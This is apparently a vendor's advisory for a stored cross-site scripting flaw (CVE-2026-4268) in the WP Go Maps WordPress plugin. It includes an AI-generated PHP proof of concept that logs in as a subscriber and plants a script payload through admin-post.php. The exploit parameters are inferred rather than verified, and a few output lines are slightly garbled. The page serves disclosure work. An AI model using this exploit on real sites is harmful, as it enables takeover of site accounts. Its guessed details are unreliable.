Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-4268: WP Go Maps (formerly WP Google Maps) <= 10.0.05 – Missing Authorization to Authenticated (Subscriber+) Stored Cross-Site Scripting via admin_post_wpgmza_save_settings (wp-google-maps)

CVE ID CVE-2026-4268
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 10.0.05
Patched Version
Disclosed March 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4268 (metadata-based): This vulnerability is a stored cross-site scripting (XSS) issue in the WP Go Maps plugin. The CWE-79 classification confirms improper input neutralization during web page generation. The description identifies three distinct failures: insufficient input sanitization, inadequate output escaping, and a missing capability check on the ‘admin_post_wpgmza_save_settings’ hook. The attack vector targets authenticated users with Subscriber-level permissions or higher. These users can submit malicious JavaScript via the ‘wpgmza_custom_js’ parameter. The plugin’s anonymous function handling the admin_post hook likely saves this input without proper validation. The stored payload then executes in the context of any user viewing a page where the plugin outputs the ‘wpgmza_custom_js’ content. The CVSS vector indicates network attack complexity, low privileges required, no user interaction, and scope change to other components. The fix in version 10.0.06 likely added a proper capability check (e.g., ‘manage_options’) to the hook’s callback function. The patch also probably implemented input sanitization using ‘sanitize_textarea_field’ or similar and output escaping with ‘esc_js’ or ‘wp_kses’. Exploitation allows attackers to perform actions as higher-privileged users, including administrators, leading to site takeover or data exfiltration. These conclusions about the exact fix are inferred from standard WordPress security practices, as the patched code is not available for review.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4268 - WP Go Maps (formerly WP Google Maps) <= 10.0.05 - Missing Authorization to Authenticated (Subscriber+) Stored Cross-Site Scripting via admin_post_wpgmza_save_settings
<?php
/**
 * Proof of Concept for CVE-2026-4268.
 * Assumptions based on vulnerability description:
 * 1. The endpoint is /wp-admin/admin-post.php (standard for admin_post hooks).
 * 2. The action parameter is 'wpgmza_save_settings' (inferred from hook name).
 * 3. The vulnerable parameter is 'wpgmza_custom_js'.
 * 4. No nonce or capability check is present (the vulnerability).
 * 5. The payload is stored and executed in a public context.
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CONFIGURE THIS
$username = 'subscriber_user'; // CONFIGURE: Subscriber-level account
$password = 'subscriber_pass'; // CONFIGURE
$payload = '</script><script>alert(document.domain);</script>';

// Step 1: Authenticate and obtain session cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
$response = curl_exec($ch);

// Step 2: Exploit the missing authorization via admin-post.php
$exploit_url = $target_url . '/wp-admin/admin-post.php';
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'wpgmza_save_settings', // Inferred from hook name
    'wpgmza_custom_js' => $payload // The vulnerable parameter
)));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Verification (conceptual)
echo "Exploit sent. HTTP Code: $http_coden";
echo "If successful, the XSS payload '$payload' should be stored.n";
echo "The payload will execute when any user visits a page containing the plugin's custom JS output.n";

unlink('cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School